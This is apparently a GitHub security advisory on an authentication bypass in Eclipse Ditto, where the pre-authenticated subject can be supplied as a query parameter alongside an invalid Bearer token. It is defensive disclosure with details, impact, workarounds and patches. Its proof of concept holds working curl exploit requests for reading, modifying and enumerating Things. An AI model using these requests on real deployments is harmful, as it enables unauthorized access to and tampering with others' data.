Skip to main content
Menu
Advisories

Authentication bypass

GHSA-CHWQ-WG27-QVFRPublished Updated GitHub

Description

When pre-authentication is enabled, the Eclipse Ditto gateway accepts the pre-authenticated subject not only from the x-ditto-pre-authenticated HTTP header (which a trusted reverse proxy is expected to set), but also from an undocumented x-ditto-pre-authenticated URL query parameter that any client can set. A reverse proxy that correctly overwrites the header does not stop this.

In the default configuration of the Ditto Helm chart (global.jwtOnly: false, which implicitly enables pre-authentication), the bundled nginx skips HTTP Basic authentication for every request carrying an Authorization: Bearer ... header and forwards it without the pre-authentication header. An unauthenticated remote attacker can therefore send an arbitrary (invalid) Bearer token together with ?x-ditto-pre-authenticated=<subject> and is authenticated as the chosen policy subject. The JWT is never validated. The attacker can then read and modify all Things and Policies that subject is granted access to.

Severity: Critical (CVSS 4.0 9.1).

Details

The vulnerability is a combination of a gateway flaw (the root cause) and the default nginx configuration of the Helm chart (which makes it reachable without credentials).

1. Gateway: pre-authenticated subject is also read from the query string (root cause)

PreAuthenticatedAuthenticationProvider considers itself applicable if either the header or a query parameter of the same name is present, and falls back to the query parameter when the header is absent:

The query-parameter variant is not documented anywhere. The documentation (Operating - Authentication, Security hardening) only describes the header and only instructs operators to have the proxy overwrite the header. A proxy that does exactly that still forwards a client-supplied query parameter unchanged.

The pre-authentication provider is placed before the JWT provider in the authentication chain, and the chain stops at the first successful provider:

So when a query-supplied subject is present, an accompanying Authorization: Bearer token is never validated. The same chain is used for the HTTP API and the WebSocket endpoint.

2. Helm chart: Bearer requests bypass nginx Basic auth and reach the gateway without the header

  • values.yaml#L131: global.jwtOnly: false (default).
  • gateway-deployment.yaml#L236-L237: ENABLE_PRE_AUTHENTICATION = enablePreAuthentication OR (NOT jwtOnly). Pre-authentication is therefore enabled by default, even though values.yaml#L2405 shows enablePreAuthentication: false.
  • nginx-configmap.yaml#L59-L68: any Authorization header matching ~Bearer sets $authentication to off and $nginx_auth_user to "".
  • nginx-configmap.yaml#L110-L130 (/api) and #L136-L146 (/ws): auth_basic $authentication; and proxy_set_header x-ditto-pre-authenticated $nginx_auth_user;. nginx does not send a header whose value is empty, and proxy_pass without a URI forwards the original query string unchanged.

Result: Authorization: Bearer invalid switches off Basic auth, the gateway receives no pre-authentication header, the provider falls back to the attacker-controlled query parameter, and the request is authorized as that subject.

The deployment/docker (docker-compose) nginx configuration is not exploitable this way: it always requires Basic auth and always sets a non-empty header, which takes precedence over the query parameter.

Proof of concept

Prerequisites: a Kubernetes cluster (e.g. kind/minikube), helm, kubectl, curl.

  1. Install the Ditto Helm chart with its defaults (global.jwtOnly: false), only adding one Basic auth user so that a victim Thing can be created:

``sh helm install --dependency-update -n ditto --create-namespace my-ditto \ oci://registry-1.docker.io/eclipse/ditto --version 4.8.0 \ --set 'global.basicAuthUsers[0].user=ditto' \ --set 'global.basicAuthUsers[0].password=ditto' \ --wait kubectl -n ditto port-forward svc/my-ditto-nginx 8080:8080 ``

  1. As the legitimate user ditto (subject nginx:ditto), create a Thing. Its implicitly created policy grants only nginx:ditto access:

```sh curl -u ditto:ditto -X PUT -H 'Content-Type: application/json' \ localhost/api/2/things/org.example:victim \ -d '{"attributes":{"secret":"s3cr3t"}}'

-> 201 Created

```

  1. Exploit (read): no credentials, an invalid Bearer token and the subject in the query:

```sh curl -i -H 'Authorization: Bearer invalid' \ 'localhost/api/2/things/org.example:victim?x-ditto-pre-authenticated=nginx:ditto'

-> 200 OK, body contains "secret":"s3cr3t"

```

  1. Exploit (write):

```sh curl -i -X PUT -H 'Authorization: Bearer invalid' -H 'Content-Type: application/json' \ 'localhost/api/2/things/org.example:victim/attributes/secret?x-ditto-pre-authenticated=nginx:ditto' \ -d '"modified-by-attacker"'

-> 204 No Content

```

  1. Exploit (enumeration, no Thing ID needed):

```sh curl -i -H 'Authorization: Bearer invalid' \ 'localhost/api/2/search/things?x-ditto-pre-authenticated=nginx:ditto'

-> 200 OK, lists all Things readable by nginx:ditto

```

Negative controls:

RequestResult
No Authorization header, with ?x-ditto-pre-authenticated=nginx:ditto401 (nginx Basic auth)
Authorization: Bearer invalid, without the query parameter400 (jwt:invalid)
Authorization: Bearer invalid, ?x-ditto-pre-authenticated=nginx:other404 on read / 403 on write
Chart installed with --set global.jwtOnly=true, exploit request from step 3400 (JWT rejected, pre-auth not in chain)

Impact

This is an authentication bypass by spoofing (CWE-290) leading to impersonation of arbitrary policy subjects.

Impacted are Eclipse Ditto deployments where pre-authentication is enabled and at least one request path reaches the gateway without a non-empty, proxy-set x-ditto-pre-authenticated header. In particular this includes:

  • all installations of the official Ditto Helm chart with default settings (global.jwtOnly: false), via the nginx Bearer-token path on /api (verified) and /ws (same configuration, verified by a gateway route test),
  • custom reverse proxy setups that strip (instead of always setting) the pre-authentication header on some paths, e.g. for OIDC/Bearer passthrough.

An unauthenticated network attacker who knows or guesses a policy subject (subjects follow the predictable form <issuer>:<name>, e.g. nginx:<basic-auth-user>, and several can be tried per request as a comma-separated list) can read, modify and delete all Things granted to that subject, use the search API to enumerate them, and, if the subject holds WRITE on policy:/, rewrite Policies to keep access.

Not impacted:

  • deployments with pre-authentication disabled (ENABLE_PRE_AUTHENTICATION=false, the gateway's built-in default),
  • Helm chart installations with global.jwtOnly: true (and gateway.config.authentication.enablePreAuthentication left at false),
  • the deployment/docker docker-compose setup, whose nginx always requires Basic auth and always sets the header.

Workarounds

Until a patched version is deployed, do one of the following:

  • disable pre-authentication in the gateway (ENABLE_PRE_AUTHENTICATION=false), or
  • when using the Helm chart, configure global.jwtOnly: true (keeping gateway.config.authentication.enablePreAuthentication: false).

Patches

Fixed in Eclipse Ditto 3.9.9 and 3.8.15:

  • The gateway reads the pre-authenticated subject only from the x-ditto-pre-authenticated HTTP header. The query-parameter fallback was removed. A request with only the query parameter is no longer pre-authenticated, and an invalid Bearer token together with the query parameter is rejected with 400 (jwt:invalid) on the HTTP API and the WebSocket endpoint.
  • Helm chart: the nginx Bearer detection is anchored to the start of the Authorization header (~^Bearer ), and values.yaml documents that global.jwtOnly: false implicitly enables pre-authentication.
  • Documentation: Operating - Authentication and the Security hardening guide state that the subject is only read from the header, that the reverse proxy must set it from a verified identity on every path, and describe the Helm chart's mixed Basic auth / JWT mode.

References

GitHub · eclipse-ditto/ditto